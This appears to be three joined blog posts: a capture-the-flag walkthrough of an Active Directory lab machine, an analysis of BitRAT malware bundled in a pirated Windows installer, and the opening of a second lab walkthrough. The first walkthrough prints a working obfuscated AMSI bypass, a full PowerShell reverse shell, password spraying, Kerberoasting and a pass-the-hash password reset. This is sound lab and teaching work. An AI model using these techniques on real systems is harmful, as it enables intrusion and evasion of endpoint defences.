result=$(nmap -p- --min-rate=1000 -Pn  -T4 10.129.229.114   | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//' | tr -d '%');nmap -p$result -Pn  
-sC -sV 10.129.229.114   -oA search

Got the results of the nmap scan as:

Nmap 7.94SVN scan initiated Wed Aug 28 15:51:39 2024 as: nmap -p53,80,88,135,139,389,443,445,464,593,636,3268,3269,8172,9389,49667,49675,49676,49702,49716 -Pn -sC -  
sV -oA search 10.10.11.129  
Nmap scan report for 10.10.11.129  
Host is up (0.59s latency).  

PORT      STATE SERVICE           VERSION  
53/tcp    open  domain            Simple DNS Plus  
80/tcp    open  http              Microsoft IIS httpd 10.0  
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2024-08-28 12:52:03Z)  
135/tcp   open  msrpc             Microsoft Windows RPC  
139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn  
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)  
| ssl-cert: Subject: commonName=research  
| Not valid before: 2020-08-11T08:13:35  
|Not valid after:  2030-08-09T08:13:35  
|_ssl-date: 2024-08-28T12:53:45+00:00; -3s from scanner time.  
443/tcp   open  ssl/http          Microsoft IIS httpd 10.0  
| ssl-cert: Subject: commonName=research  
| Not valid before: 2020-08-11T08:13:35  
|_Not valid after:  2030-08-09T08:13:35  
445/tcp   open  microsoft-ds?  
464/tcp   open  kpasswd5?  
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0  
636/tcp   open  ssl/ldap          Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)  
| ssl-cert: Subject: commonName=research  
| Not valid before: 2020-08-11T08:13:35  
|_Not valid after:  2030-08-09T08:13:35  
3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)  
|_ssl-date: 2024-08-28T12:53:52+00:00; -3s from scanner time.  
| ssl-cert: Subject: commonName=research  
| Not valid before: 2020-08-11T08:13:35  
|_Not valid after:  2030-08-09T08:13:35  
3269/tcp  open  globalcatLDAPssl?  
| ssl-cert: Subject: commonName=research  
| Not valid before: 2020-08-11T08:13:35  
|_Not valid after:  2030-08-09T08:13:35  
|_ssl-date: 2024-08-28T12:53:39+00:00; 0s from scanner time.  
8172/tcp  open  unknown  
9389/tcp  open  mc-nmf            .NET Message Framing  
49667/tcp open  unknown  
49675/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0  
49676/tcp open  unknown  
49702/tcp open  unknown  
49716/tcp open  unknown  
Service Info: Host: RESEARCH; OS: Windows; CPE: cpe:/o:microsoft:windows  

Host script results:  
|clock-skew: mean: -2s, deviation: 1s, median: -3s  
|_smb2-time: Protocol negotiation failed (SMB2)  

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
# Nmap done at Wed Aug 28 15:54:00 2024 -- 1 IP address (1 host up) scanned in 140.49 seconds

Well the nmap command does this:

This script is a combination of two nmap commands, the first nmap command in this script scans all 65,535 possible network ports on the target computer with the IP address 10.129.171.71 . It scans quickly checking about 1,000 ports per second, and it doesn't bother with looking up host names ( -Pn). The main goal of the scan is to figure out the ports that are open and accessible.

The output of the first nmap command is the piped | into a series of text processing commands:

grep '^[0-9]' filters the lines that start with a number. This is used to isolate the lines containing port numbers.

cut -d '/' -f 1 splits each line at the '/' character and keeps only the first field, which represents the port number. This separates the port number from additional information.

tr '\n' ',' replaces newline characters with commas, effectively creating a comma-separated list of open ports.

sed 's/,$//' removes the trailing comma at the end of the list.

tr -d '%' removes any '%' characters in case there are any in the list

The second nmap command is executed by scanning the ports specified in the result variable. It performs a service and version detection -sC -sV and the output is saved to a set of files with the prefix search.

We then check out port 80... by just pasting the ip in the web browser

We get a wonderful looking webpage.

Checking it out we find an image slide that seems to have critical information... credentials to be precise that might come in handy the slides are in the Our Features section.

On closer inspection we see the line:

send password to Hope Sharp

IsolationIsKey?

We got credentials from the image. I know sounds unreal… but its just initial access credentials that we can use to further do our enumeration 😂.

The credentials are:

User:Hope Sharp
Password:IsolationIsKey?

I added 10.129.171.71 search.htb to the /etc/hosts file so that my system resolves to that ip address when i do my enumeration. I used the command:

echo "10.129.171.71 search.htb" | sudo tee -a /etc/hosts

Then I did a directory enumeration using gobuster and found an interesting directory /staff.

Unfortunately its inaccessible we got a 403 error when we tried to access it.

Since this is Active Directory based on the results that we got from the scan... i.e port 88 is Kerberos and it shows that Kerberos authentication is happening within. We have to get a username that we can use to test for authentication in the domain services like smb ,winrm based on the credentials that we got and for that we can use a tool called username-anarchy(https://github.com/urbanadventurer/username-anarchy.git) to generate potential usernames that we can use to conduct our enumeration.

Used the command:

./username-anarchy Hope Sharp  --select-format first,first.last,first1,flast

It will use our selected format using the first and last name to try and make then username we will use to authenticate. We got the results as:

hope  
hope.sharp  
hsharp

We haven't done enumeration on ports like port 445 which might be really crucial we do so anonymously to see first of all if it accepts anonymous login.

Looks like there is anonymous login though we don't get to see the shares:

isayar17_x401a@t0mcr00s3  ~/OSCP/HTB/OSCP_Labs/search  smbclient -L //10.10.11.129/ -N  
Anonymous login successful  

       Sharename       Type      Comment  
       ---------       ----      -------  
Reconnecting with SMB1 for workgroup listing.  
do_connect: Connection to 10.10.11.129 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)  
Unable to connect with SMB1 -- no workgroup available

Now lets use netexec a tool that works similar to crackmapexec to enumerate smb using the credentials we have... we are not that sure though if the credentials actually work and yet from the list of usernames obtained from username-anarchy we have not checked to see which one actually works. So lets do so as well:

Now using the command

netexec smb  -d search.htb -dc search.htb -u <username> -p <password>

We test out the usernames that we got...

The tags in the command have the meaning as:

-d -> specifies the domain name
-dc -> specifies the domain controller name
-u -> the username
-p -> the password

I used the same domain name search.htb because the name search.htb resolves to the ip address 10.10.11.129 and based on the ports open on that ip am suspecting it might probably be a domain controller.

So trying all three of them we see that the username hope.sharp works.

With this breakthrough we can now enumerate smb shares by adding the --shares tag which will use the credentials that we have specified to check the shares that we can see and the permissions that we have on the shares

So now lets try and access the shares that are available on the machine.

We begin with CertEnroll Inside CertEnroll we get to see some interesting files.

​smb: \> dir  
 .                                  Dc        0  Sat Aug 31 08:09:37 2024  
 ..                                 Dc        0  Sat Aug 31 08:09:37 2024  
 nsrev_search-RESEARCH-CA.asp       Ac      330  Tue Apr  7 10:29:31 2020  
 Research.search.htb_search-RESEARCH-CA.crt     Ac      883  Tue Apr  7 10:29:29 2020  
 search-RESEARCH-CA+.crl            Ac      735  Sat Aug 31 08:09:37 2024  
 ​search-RESEARCH-CA.crl             Ac      931  Fri Aug 30 08:09:25 2024  

               3246079 blocks of size 4096. 763010 blocks available  
smb: \>

We check the first file which is an asp file... it handles a request that checks the validity of a certificate against a certificate authority(CA). Inside the file we find domain name research.search.htb in the file its setup as an identifier for a Certificate Authority. The host name Research might be the system in charge.

The other .crl(Certificate Revocation List) files didn't seem to give us useful information... inside the .crl files we find binary data:

So the gist of what the files may be for is...

We are dealing with a web application that uses a certificate authority(CA) to check the validity of certificates, and the CRL (Certificate Revocation List) files are likely used to revoke certificates that are no longer trusted. What happens is the asp code in nsrev_search-RESEARCH-CA.asp accepts a certificate serial number as input via the URL query string checks it against the CA. It seems like it also looks at the CRL (Certificate Revocation List) files like that one to determine if the certificate has been revoked.

Inside the .asp code we found it contains a function Admin.IsValidCertificate which is checking two key things:

1. Is the Certificate Valid? --> Issued by the right CA(research.search.htb\search-RESEARCH-CA, within its validity period and not corrupt).

2. Is the certificate revoked? --> Not found in the CA's Revocation List.

If the certificate passes both checks the function returns a status(stat = 3) as it is in the code.

Now lets check the other shares

IPC$

NETLOGON

RedirectedFolders$

We found many directories containing many usernames... I checked the first directory abril.suarez but found out I don't have access.

I found 2 directories that seemed interesting... I had access to the hope.sharp directory and was able to list the files inside unlike the others.

I also found a user.txt in the user sierra.frye directory, this might be a hint probably. I am able to list the directory Desktop when I try to get the user.txt file.

SYSVOL Inside the share we didn't get anything interesting.

We had access to the Policies and scripts directory but not DfsrPrivate.

SYSVOL Share: This share is used by domain controllers to store policies, scripts, and other settings that are replicated across the network. It’s an important directory in Active Directory environments, as it contains files necessary for GPO (Group Policy Object) management. Group Policy Objects (GPO):

• Inside the Policies folder, there are several folders with GUID-like names (e.g., {31B2F340-016D-11D2-945F-00C04FB984F9}). These represent Group Policy Objects (GPOs) applied to various parts of the domain.

• Each GPO folder contains a GPT.INI file and two subfolders: MACHINE and USER. These folders store configurations that apply to computers and users in the domain, respectively. The SYSVOL share contains important domain-related data such as Group Policy Objects (GPOs), logon scripts, and other files shared between domain controllers (DCs).

With the credentials that we had we can use bloodhound-python to gather more intel about the AD. BloodHound-python will query the Domain Controller for the AD data.

bloodhound-python --username hope.sharp@search.htb \  
--password 'IsolationIsKey?' \  
--collectionmethod ALL \  
--domain search.htb \  
--nameserver 10.10.11.129

Using the commands above we will use BloodHound-python with the credentials. I want you to know that BloodHound-Python uses LDAP and SMB to authenticate and communicate with the Active Directory Domain Controllers. It actually queries LDAP to give information that enables it to do the entire mapping... info like users, groups, computers, sessions..... etc After retrieval we use the command:

zip bloodhound_data.zip *.json

To zip all the .json files which will be retrieved by bloodhound when its authenticated.

Then we transfer the data into bloodhound itself... we make sure to run neo4j.

sudo neo4j console

Once its up and running we can now open bloodhound and transfer the zip file information where it will extract and map it out for us....

On enumeration with bloodhound and we list the Kerberoastable accounts in the option located at the Analysis tab.

When you scroll down abit you will see the Kerberos Interaction section that's where you will click on the List all Kerberoastable Accounts and you will see the accounts that are actually Kerberoastable...

In here the account that is actually Kerberoastable is web_svc , bloodhound may list the Krbtgt account as Kerberoastable but its actually not... a Krbtgt account does not have an SPN but its a user account with associative privileges that are quite interesting and probably bloodhound might have misinterpreted... The privileges are like TGT Generation, Encryption and Signing, Domain Admin Group Membership and Control over service accounts... But for an account to be kerberoastable it must be tied to an SPN.

For Kerberoasting you can check out Vbscrubs video on it which explains how it works at a deeper level...

Here is how it works when someone wants to access a service... they sends a TGS-REQ to the Ticket Granting Server which is part of the Key Distribution Center, asking for a service ticket for the desired service. The TGS-REQ contains the Ticket Granting Ticket(TGT) which was obtained from the Authentication Server which is also part of the Key Distribution Center... So basically during Kerberos Pre-Authentication that TGT that you receive at the end of the pre-authentication is given by the Authentication Server which is part of the KDC... that TGT contains the details of the Krbtgt account's key but not the actual krbtgt hash itself... like the krbtgt hash only aided in encryption but it did not fully expose its actual hash. Only the Ticket Granting Server can decrypt the TGT to verify the persons identity... that that dude was the one they had pre-authed with initially lol. The actual hash is secure in the domain controller :)

image source:https://www.alteredsecurity.com/adlab

In the case of Kerberoasting what happens is you can find that a user account is designated as a service account that runs services like SQL, IIS the accounts actually contains the SPN(Service Principal Name) its a unique identifier that shows which services runs on an account.

So when a normal user wants to access a service they need to request access to a service... so they send the TGS-REQ to the KDC requesting the service ticket for an identified service account like in our scenario we see the account that is web_svc then the KDC will respond with a TGS-REP which contains the service ticket... This ticket contains the service account hash with is encrypted with e-type 23 as attackers we can try to crack this TGS-REP to get the password for the service account...

Basically the tool Impacket-GetUserSPNs does an ldap query to check for User accounts that have SPNs and after identifying when one sets the -request it sends the TGS-REQ and the KDC returns the TGS-REP which contains the hash that is encrypted with e-type 23(aes256) and thats exactly what we are going to use to get the TGS-REP.

We were able to retrieve the TGS-REP... now all thats left for us to do is to use either Hashcat or JohnTheRipper to bruteforce the hash to get the password and sure enough we have got the password.

john --wordlist=/usr/share/wordlists/rockyou.txt  hash
Using default input encoding: UTF-8  
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])  
Will run 8 OpenMP threads  
Press 'q' or Ctrl-C to abort, almost any other key for status  
@3ONEmillionbaby (?)        
1g 0:00:00:04 DONE (2024-10-12 20:49) 0.2375g/s 2729Kp/s 2729Kc/s 2729KC/s @421eduymayte619..?!.r.3.m?  
Use the "--show" option to display all of the cracked passwords reliably  
Session completed.

@3ONEmillionbaby is the password for the web_svc account.

In the node properties of the web_svc account... in that description portion we get info that its a Temp Account created by HelpDesk. This info gives room for the possibility that the password used in creating the service account may have been reused by a user.

From the bloodhound data that we had, we used jq which helped us in parsing the json output to retrieve the samaccountname that we can use to do a password spray attack to check which user that may have done such a mistake...

The command that we used to get a good output of the usernames from the json user data that we got from bloodhound-python is

cat 20240907141704_users.json | jq -r '.data[] | .Properties.samaccountname' > users.txt

So it will parse and with the final information that it gets its gonna save it in users.txt then I will use nxc to start the password spraying...

nxc smb search.htb -u users.txt -p @3ONEmillionbaby --continue-on-success

it identifies that we have access as Edgar.jacobs.

We do enumeration using the creds for edgar.jacobs by accessing his smb share on RedirectedFolders$ inside desktop we get a file called Phishing_Attempt.xlsx

so we transfer the file onto our machine... we use the get command for that ....

Now that we have downloaded it ... we open the xlsx file using libre office calc and we see that there is a column C which is hidden...

On trying to expand in order to view that column we get the error Protected Cells cannot be modified.

Searching on Google online we get a blog on # How to Unlock Protected Excel Sheets Without a Password (https://agio.com/how-to-unlock-protected-excel-sheets-without-a-password/)which we use to unlock the file.

So we follow the instructions in the blog where we unzip the excel file and access it. the files inside Phishing_Attempt.xlsx are extracted in the folder Ive created as shown down here.

We open the /xl/worksheets/sheet2 using sublime text editor.

Then we remove the <sheetProtection code we highlight the whole of that section and remove it as its stated in the blog.

Once we have done that we have to save the file as a xlsx file. So inside the Phishing_Attempt_Folder I use the command zip -r ../Phishing_Attempt.xlsx . It will compress the contents of the Phishing_Attempt_Folder and save it into a file called Phishing_Attempt.xlsx in the parent directory.

Opening the file from the parent directory we see that we can see the hidden C column and the contents that are there.

Someone can also use google docs to view the C column thats hidden :)

So now we are gonna take the usernames and the passwords and use nxc to check which credentials actually work.

nxc smb search.htb -u users1 -p passwords --continue-on-success

We were able to see that the credentials of Sierra.Frye actually work...

the password for Sierra.Frye is $$49=wide=STRAIGHT=jordan=28$$18 so we use them to enumerate smb and accessing her share from RedirectedFolders$ shows us that we can get the user.flag which we happily download using the get command :)

Continuing with our enumeration inside the Downloads directory there is a Backups directory which contains the files search-RESEARCH-CA.p12 and staff.pfx . So we download both of them.

So a the .pfx file and the .p12 file are the same binary format... both follow the Public Key Cryptographic Standard #12 one can simply change the extension without any trouble(https://chsamii.medium.com/p12-vs-pfx-certificate-ac812fa094ce) as it is in the blog... pfx(Personal Information Exchange File) and was a Microsoft one and .p12 was a Netscape one.

They can contain a Private key, Public key and a digital certificate. Let me first of all try to import them on my browser... since if we remember closely we were getting a 403 error, we were probably being denied access because of not having the cert in the first place... and good enough we got a cert that is labelled staff.pfx this shows us that this might be instrumental in us accessing the /staff directory.

We saw that it requires a password when I tried to import the staff.pfx , when you also try to import search-RESEARCH-CA.p12 you see that it asks for a password the same same way. So we decide to begin cracking... we begin by using pfx2john to convert it into a format which John can process. Pfx2john might be extracting the password hashes from the pfx/p12 file and it stores it in a format which JohnTheRipper can process. To prove that the files are sort of one and the same thing. I used pfx2john to convert them both and crack them both :)

Both of them follow the Public Key Cryptographic Standard #12. We see that the password is misspissy for both the .pfx and .p12.

We access the /staff directory with the certificate we have, make sure its set to https:// not http:// we are going to be identifying ourselves with the certificate we have just imported.

You get met with:

Just click on Accept the Risk and Continue we are met with:

So we identify ourselves with that certificate.

Now we are met with the staff page.

We make sure to enter the credentials that we had for sierra.frye and set the computer name to research because research is the host name that we had identified earlier as its responsible with the functionalities of the CA... Like how when we submit that certificate it was accepted after it passed all those checks that we had spoke about earlier.

and now we are in :)

I decide to head over to revshells.com and grab me a nice powershell base64 encoded reverse shell and then I set up my listener.

and the listener:

So now what am left to do is copy the reverse shell and execute as sierra.frye on her powershell web console.

Sadly AMSI is running it felt like i was running so fast and hit a brick wall😂...

We need to bypass AMSI... we will use

S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )

What it does:

Since the bypass is obfuscated to avoid signature based detection, here is the deobfuscated version of it:

Set-Item -Path 'Variable:1q2uZx' -Value ([Type]('Ref'))
(Get-Variable 1q2uZx -ValueOnly).Assembly.GetType(.Management.Automation.AmsiUtils").
    GetField("amsiInitFailed", "NonPublic,Static").SetValue($null, $true)

it first creates a Powershell variable called 1q2uZx and assigns it a type reference [Type]('Ref') , Ref is a placeholder that helps access .NET internals that is System.management.automation which is in the bypass, The part we are talking about right now is:

Set-Item -Path 'Variable:1q2uZx' -Value ([Type]('Ref'))

So now through the variable that 1q2uZx we access System.Management.Automation and extract AmsiUtils class which is responsible for AMSI scanning in Powershell. For the next part inside the AmsiUtils class we locate a amsiInitFailed which is a private static field that tells Windows whether AMSI is enabled or not. The part we are talking about is:

.GetField("amsiInitFailed", "NonPublic,Static")

So we actually set this to true making AMSI think that it failed to initialize lol as shown below:

.SetValue($null, $true)

and voila its now bypassed.... I used the command 'amsiutils' to see whether AMSI will react but AMSI didn't react lol.

The reason why it flags 'amsiutils' as a term normally is because this is a powershell module that malicious actors like yours truly over here interacts with in order to bypass AMSI. Powershell recognizes certain commands or patterns as an attempt to tamper with AMSI and detects them(like how it does when we invoke 'amsiutils'). So if we see above we have successfully bypassed AMSI thats why it does not have any problem. Now the stage is ours lol. I tried using the powershell base64 encoded reverse shell but i still would get the same errors. Looks like Defender is recognizing patterns in the decoded script even after AMSI is bypassed. When a Base64-encoded PowerShell command is executed using -EncodedCommand, PowerShell must first decode the string before execution and during this time AMSI hooks into this process, scanning the script before its executed. But we bypassed AMSI why does AMSI still hook on our process? thats because the AMSI bypass we used only disabled AMSI initialization but does not remove hooks.

So if we were to make this work we should Unhook AMSI properly by patching the AmsiScanBuffer or even unhook AMSI by using C#. To have a clear view on how you can achieve this you can read how Victor Khoury uses a technique that exploits a writable entry inside System.Management.Automation.dll to manipulate the address of the AmsiScanBuffer to bypass AMSI without changing memory protection settings. (This is pretty stealthy as most AVs AMSI heuristic based detection is centered around the bypass leveraging the VirtualProtect API😂) This was released back in May 2024 so I bet by now AVs are on the lookout for this but its a pretty good resource to get more understanding and to also allow room for more exploration in AMSI bypass, I'll also include Ziyi Shen's blog whereby he's broken down various AMSI bypass techniques, He breaks down everything intricately you should have a good read at it.

Victor Khoury's blog post (https://www.offsec.com/blog/amsi-write-raid-0day-vulnerability/)

Ziyi Shen's blog post (https://winslow1984.com/books/red-team/page/bypass-amsi-on-windows-11)

So we used the powershell reverse shell from https://github.com/martinsohn/PowerShell-reverse-shell/blob/main/powershell-reverse-shell.ps1 which gives us a neat connection. This works because it's not encoded, so it doesn't go through -EncodedCommand decoding (which AMSI scans because it still hooks into the process(we didn't deal with this part lol)). the code we used is:

do {
    # Delay before establishing network connection, and between retries
    Start-Sleep -Seconds 1

    # Connect to C2
    try{
        $TCPClient = New-Object Net.Sockets.TCPClient('127.0.0.2', 13337)
    } catch {}
} until ($TCPClient.Connected)

$NetworkStream = $TCPClient.GetStream()
$StreamWriter = New-Object IO.StreamWriter($NetworkStream)

# Writes a string to C2
function WriteToStream ($String) {
    # Create buffer to be used for next network stream read. Size is determined by the TCP client recieve buffer (65536 by default)
    [byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0}

    # Write to C2
    $StreamWriter.Write($String + 'SHELL> ')
    $StreamWriter.Flush()
}

# Initial output to C2. The function also creates the inital empty byte array buffer used below.
WriteToStream ''

# Loop that breaks if NetworkStream.Read throws an exception - will happen if connection is closed.
while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {
    # Encode command, remove last byte/newline
    $Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1)

    # Execute command and save output (including errors thrown)
    $Output = try {
            Invoke-Expression $Command 2>&1 | Out-String
        } catch {
            $_ | Out-String
        }

    # Write output to C2
    WriteToStream ($Output)
}
# Closes the StreamWriter and the underlying TCPClient
$StreamWriter.Close()

We did modify to put in our ip and port that is listening on our device.

and in our machine we got the connection:

Back to Bloodhound... when we mark our user(sierra.frye) as owned and select the option Shortest Path to Domain Admins from Owned Principals we see that sierra.frye is part of the ITSec group that has ReadGMSAPassword privileges over BIR-ADFS-GMSA and BIR-ADFS-GMSA has GenericAll privieges over the user TRISTAN.DAVIES who is a member of the domain admins group that we want to be apart of:

Now we begin by abusing the ReadGMSAPassword privilege which from the blog at https://www.thehacker.recipes/ad/movement/dacl/readgmsapassword we decide to use the tool https://github.com/micahvandeusen/gMSADumper which works quite well...

python gMSADumper.py -u 'sierra.frye' -p '$$49=wide=STRAIGHT=jordan=28$$18' -d 'search.htb'
Users or groups who can read password for BIR-ADFS-GMSA$:  
> ITSec  
BIR-ADFS-GMSA$:::e1e9fd9e46d0d747e1595167eedcec0f  
BIR-ADFS-GMSA$:aes256-cts-hmac-sha1-96:06e03fa99d7a99ee1e58d795dccc7065a08fe7629441e57ce463be2bc51acf38  
BIR-ADFS-GMSA$:aes128-cts-hmac-sha1-96:dc4a4346f54c0df29313ff8a21151a42

We were able to get the ntlm,aes256 and aes128 hash of the BIR-ADFS-GMSA user

With this we can use pth-net to abuse the Generic-All privileges and change the password of TRISTAN.DAVIES.

pth-net rpc password "TRISTAN.DAVIES" 'Password123!' -U "search.htb"/"BIR-ADFS-GMSA$"%"000000000000000000000000000000  
00:e1e9fd9e46d0d747e1595167eedcec0f" -S "10.10.11.129"  
E_md4hash wrapper called.  
HASH PASS: Substituting user supplied NTLM HASH...

I tried using pth-winexe but i could not get a cmd session as the BIR-ADFS-GMSA user so I opted to change the password directly using pth-net

We can confirm that the password is changed:

Now using impacket-wmiexec we can try to access as tristan.davies to get the root flag because we are now part of the Domain Admins.

Happy Hacking!!!

So I was casually browsing through https://thepiratebay.org (was browsing securely by the way) when I stumbled upon a peculiar torrent, in particular the name of the torrent was Windows 10 22H2 + LTSC 21H2 (x64) 20in1 with inbuilt Office 2021 - Rjaa

We see that its inclusive of Windows 10 v22H2 19045.2130 and Windows 10 Enterprise LTSC v21H2 19044.2130 editions, both featuring 5 Russian and 5 English x64 versions, it includes updates up to October 2022. Additionally, it incorporates essential system libraries such as the C++ Redistributable Package. With customizable installation options, it offers the choice of including or excluding Word, Excel, PowerPoint, Access, Publisher, Outlook, and OneNote, alongside the availability of MSDaRT for added convenience.

Now this intrigued me, So I downloaded the Iso and used Rufus to create a bootable USB drive... now during the creation of the bootable drive, Windows Defender was able to detect malware, it quarantined the malware and notified me... this is because When Rufus creates a bootable drive from ISO files, it swiftly formats the selected USB drive, copies the contents of the ISO file, and configures it to be bootable according to your chosen settings, such as partition scheme and file system. In the process of copying contents of the ISO file malware can be detected by Windows Defender Real Time protection and that's how it was able to detect.

I was still able to create the bootable drive nonetheless... I wanted to create the drive again but this time with Windows Defender off, so that the key activation files don't get deleted, but I got a thought that i should just go through with it even if Windows defender had removed some of the key files that would be crucial in doing the activation to just see the behavior without the files, after all I'm a security researcher and sometimes I love experimenting😂🍷

Once the bootable drive was created by Rufus. I took an old computer and boot from the USB. i was then met by this screen... By the looks of it this is not your typical windows installer 😂😂😂

just pressed the enter key...

then...

after loading I got...

I went with the first choice... and clicked Next

Now this is where the interesting part comes in 😂 The moment you've been waiting for... So when I clicked Install I got

I then selected Windows 10 Professional and also down below I had ticked the Edition with pre-installed Microsoft Office , doing so led to an error message that two files were missing the first file was AAct_x64.exe and the second file was W10DigitalActivation.exe these were the files that were flagged as malicious by Windows Defender, quarantined and later I was notified about the malicious activity that was going on.

The first file(AAct_x64.exe)

The second file(W10DigitalActivation.exe)

So on doing an analysis online concerning the 2 files the first one(AAct_x64.exe) was just the normal bad.

The file AAct_x64.exe is part of the KMS (Key Managing Services) activator that was used to obtain your illegal/cracked copy of Windows 10. Though Its still not cool to pirate stuff... just buy a genuine copy of Windows 10 or 11(the one that you prefer).

Now the second file(W10DigitalActivation.exe) is not just a normal file... Its a RAT(Remote Access Trojan) called BitRAT, It has disguised itself as a Windows Product Key Verification Tool, It was discovered by ASEC(AhnLab SEcurity Intelligence Center) like 2 years ago... you can get more details about it from https://asec.ahnlab.com/en/32781/ They clearly indicate the intricacies of this malware... So The file W10DigitalActivation.exe is actually a 7z SFX (Self-Extracting Archive) file, when executed it creates two files W10DigitalActivation.msi and W10DigitalActivation_Temp.msi the second file respectively(W10DigitalActivation_Temp.msi) is actually a dropper for additional malware.

A RAT, or Remote Access Trojan, is a stealthy form of malware enabling cyber criminals to remotely control compromised systems.They can evade detection while capturing keystrokes, screenshots, and more. Used for espionage, fraud, and sabotage, combating RATs requires robust cybersecurity measures like software updates and safe cyber security habits like for our instance using genuine software.

image source(https://asec.ahnlab.com/en/32781/)

When it's activated, it connects to specific C2 server(command and control server). It then shares encrypted information with these servers. Afterward, it decrypts this information to find a web address where it can download more harmful software.

The harmful software, from the web address is another dropper(we'll call this the second dropper) that actually drops the BitRAT malware. The harmful software is installed in the Windows Startup Program folder which then proceeds to download the BitRAT malware and place it in the %TEMP% path as Software_Reporter_Tool.exe.

N.B:

The harmful software(second dropper) is sophisticated in that it uses Powershell to add itself as an exclusion path in Windows Defender and it adds the BitRAT process Software_Reporter_Tool.exe as an excluded process by Windows Defender.

image source(https://asec.ahnlab.com/en/32781/)

If we had installed it... the actual file that would have done the activation would have been the 1st one, the 2nd one was just a way for the attackers to gain access to your computer without you knowing... When they have that access they can decide to upload a Ransomware or even just steal sensitive information. Imagine storing sensitive work files and important confidential information about you in such a computer only to find its files are encrypted by a ransomware or even find an anonymous email claiming they have sensitive information about you(they obtained from that compromised computer).... There is even a possibility of the hackers gaining access to large network enterprise environments through this... its that serious!

Today was my lucky day... I had just stumbled upon a sophisticated malware one that has been perfectly created to social engineer someone into thinking they have hit the jackpot with being able to install an activated version of Windows 10 together with an activated version of Office 2021😂 when we all know the reality of whats going on... (they have actually created a persistence for hackers to get access to their machine)

Jokes aside... as a kid I used to notice the workers at the cyber cafes and dudes who sell computers use such installers in setting up machines... its a security risk to be honest... and yet the same computers will be used by unsuspecting customers... they might enter sensitive banking details or just personal details that attackers would have access to.

BitRAT is not friendly and can also be delivered through other means... not only through pirated software.

source(https://www.itworldcanada.com/post/bitrat-malware-caught-stealing-financial-information)

Speaking of underground Cybercrime web markets and forums... if we go to a darknet site called Darknet Home (http://catalogpddg2rhr2qifm5eyr66clhty5hmbg4l4ygratqkikejg6uqid.onion/) as shown below... Its like a directory you can use to search for Tor hidden services as it says...

Then we look up BitRat... we get to see that at some point once it was being sold 10% off... this just shows how it prevailed in the underground forums and cyber criminal marketplaces as shown below....

The site on the official BitRAT sale is down today as shown below... but that does not mean that there are no cyber criminals out there who have weaponized it to probably become better than it was in the past... as of now this version is easily identifiable by Windows Defender and other Antivirus Vendors...

The trick is how the cyber criminals social engineer people into actually turning off their Antivirus when doing the installation of pirated software which leads to them giving access to the hackers RATs(Remote Access Trojans) and Ransomwares😂💀 Its true... there was a Ransomware identified by the MalwareHunterTeam on X called the Albabat Ransomware which used the same file name W10DigitalActivation.exe

Imagine deactivating Windows Defender or just pretty much your Antivirus just because the text file in that so called "Activator tool" told you to then when you execute that so called "Activator Tool" you get this😂😂 check below....

You wouldn't want that now, would you?😂💀 So be cyber aware and ensure to follow good practices to safeguard yourself and your digital assets from malicious threats lurking in the digital realm. Have a good time💯💯💯

Initial Reconnaissance

So we begin by doing an Nmap scan on the machine using the bash script.

result=$(nmap -p- --min-rate=1000 -Pn  -T4 10.129.215.167   | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//' | tr -d '%');nmap -p$result -Pn  -sC -sV 10.129.215.167  -oA flight

so the script is a combination of two nmap commands simply identify all the ports on the machine and then detect the technologies running on the ports, I had explained earlier what this nmap script does in a more verbose manner at the forest machine that we pwned. Here is the link to the article... Read the nmap reconnaissance(information gathering) section... (https://x401a.hashnode.dev/undercover-in-the-forest-unmasking-asreproasting-and-dcsync)

so after doing the scan, we get the output:

Nmap scan report for 10.129.215.167
Host is up (0.66s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: g0 Aviation
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  msrpc         Microsoft Windows RPC
49695/tcp open  msrpc         Microsoft Windows RPC
64146/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
